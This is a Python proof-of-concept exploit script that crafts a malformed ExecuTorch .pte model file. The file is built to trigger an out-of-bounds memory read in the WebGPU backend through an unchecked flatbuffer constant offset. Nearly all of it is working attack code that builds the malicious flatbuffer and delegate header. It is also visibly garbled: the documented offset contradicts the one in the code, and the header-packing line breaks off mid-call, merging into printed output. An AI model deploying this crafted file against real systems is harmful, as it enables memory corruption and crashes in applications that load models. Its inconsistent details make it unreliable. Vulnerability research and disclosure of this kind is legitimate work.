#!/usr/bin/env python3 """ craft_malformed_webgpu_pte.py Generates malformed_webgpu.pte — a real ExecuTorch .pte file that triggers the OOB read/write in WebGPUGraph.cpp:732-733 when loaded by the WebGPU backend. Bug: WebGPUBackend.cpp:75 — only a 4-byte VkGraphBufferHasIdentifier check; no Verifier WebGPUGraph.cpp:378 — GetVkGraph(flatbuffer_data) called with NO flatbuffers::Verifier WebGPUGraph.cpp:537-538 — cs.inline_offset = vk_bytes->offset() with NO bounds check WebGPUGraph.cpp:732-733 — wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + cs.inline_offset, cs.nbytes) -> OOB read (cs.inline_offset is attacker-controlled) Compare: Vulkan (same vkgraph schema, patched 2026-05-13) adds: flatbuffers::Verifier verifier(flatbuffer_data, header->flatbuffer_size); VerifyVkGraphBuffer(verifier); before GetVkGraph(). WebGPU has the identifier check but not the verifier. Usage: python3 craft_malformed_webgpu_pte.py # Produces: malformed_webgpu.pte """ import sys, os, struct import flatbuffers from flatbuffers import builder as fb_builder sys.path.insert(0, os.path.join(os.path.dirname(__file__), "schemas")) from vkgraph import VkGraph, VkValue, VkTensor, VkBytes from executorch_flatbuffer import ( Program, ExecutionPlan, BackendDelegate, BackendDelegateInlineData, BackendDelegateDataReference ) def build_vkgraph_flatbuffer(): """ Build a VkGraph FlatBuffer with: - values[0]: VkTensor(datatype=FLOAT32, dims=[4], constant_id=0) - constants[0]: VkBytes(offset=0xFFFFFFFFFFFFFFFE, length=16) When WebGPUGraph.cpp processes this: - tensor.nbytes = 4 * 4 = 16 (numel=4, elem_size=4 for FLOAT32) - cs.nbytes = 16 - cs.inline_offset = 0xFFFFFFFFFFFFFFFE (not UINT64_MAX sentinel) -> constant_data_ + 0xFFFFFFFFFFFFFFFE -> OOB """ b = flatbuffers.Builder(512) # --- VkBytes(offset=0xFFFFFFFFFFFFFFFE, length=16) --- VkBytes.VkBytesStart(b) VkBytes.VkBytesAddOffset(b, 0x0000FFFFFFFFFFFF) # attacker-controlled OOB offset (not UINT64_MAX sentinel) VkBytes.VkBytesAddLength(b, 16) vk_bytes = VkBytes.VkBytesEnd(b) # --- constants vector --- VkGraph.VkGraphStartConstantsVector(b, 1) b.PrependUOffsetTRelative(vk_bytes) constants_vec = b.EndVector(1) # --- VkTensor(datatype=FLOAT32=5, dims=[4], constant_id=0, mem_obj_id=-1) --- dims_data = b.CreateNumpyVector(__import__('numpy').array([4], dtype='uint32')) \ if False else None # Build dims vector manually b.StartVector(4, 1, 4) b.PrependUint32(4) dims_vec = b.EndVector(1) VkTensor.VkTensorStart(b) VkTensor.VkTensorAddDatatype(b, 5) # FLOAT32 VkTensor.VkTensorAddDims(b, dims_vec) VkTensor.VkTensorAddConstantId(b, 0) # points to constants[0] VkTensor.VkTensorAddMemObjId(b, -1) vk_tensor = VkTensor.VkTensorEnd(b) # --- VkValue wrapping the tensor --- VkValue.VkValueStart(b) VkValue.VkValueAddValueType(b, 5) # GraphTypes_VkTensor = 5 VkValue.VkValueAddValue(b, vk_tensor) vk_value = VkValue.VkValueEnd(b) # --- values vector --- VkGraph.VkGraphStartValuesVector(b, 1) b.PrependUOffsetTRelative(vk_value) values_vec = b.EndVector(1) # --- input_ids = [0] --- VkGraph.VkGraphStartInputIdsVector(b, 1) b.PrependUint32(0) input_ids = b.EndVector(1) # --- VkGraph root --- VkGraph.VkGraphStart(b) VkGraph.VkGraphAddValues(b, values_vec) VkGraph.VkGraphAddConstants(b, constants_vec) VkGraph.VkGraphAddInputIds(b, input_ids) graph = VkGraph.VkGraphEnd(b) b.Finish(graph) buf = bytes(b.Output()) # Patch file identifier to "VK00" at bytes 4-7 buf = buf[:4] + b"VK00" + buf[8:] return buf def build_webgpu_delegate_payload(vkgraph_buf): """ Build the WebGPU delegate payload: [0..3] : 0x00000000 (unused prefix) [4..7] : "VH00" magic [8..9] : header_size = 30 (uint16 LE) [10..13] : flatbuffer_offset = 30 (uint32 LE) [14..17] : flatbuffer_size = len(vkgraph_buf) (uint32 LE) [18..21] : bytes_offset = 30 + len(vkgraph_buf) (uint32 LE) [22..29] : bytes_size = 64 (uint64 LE) [30+] : VkGraph FlatBuffer [30+fb_size+] : 64 bytes constant data (tiny, so OOB is obvious) """ fb_size = len(vkgraph_buf) bytes_offset = 30 + fb_size bytes_size = 64 constant_data = b'\xAA' * bytes_size # recognizable fill header = ( b'\x00\x00\x00\x00' # [0..3] prefix b'VH00' # [4..7] magic + struct.pack('offset() != UINT64_MAX) -- 0xffffffffffff passes WebGPUGraph.cpp:538 cs.inline_offset = 0xffffffffffff -- NO bounds check WebGPUGraph.cpp:733 wgpuQueueWriteBuffer(queue_, dst, 0, constant_data_ + 0xffffffffffff, -- OOB: 281 TB past section 16) """) if __name__ == "__main__": main()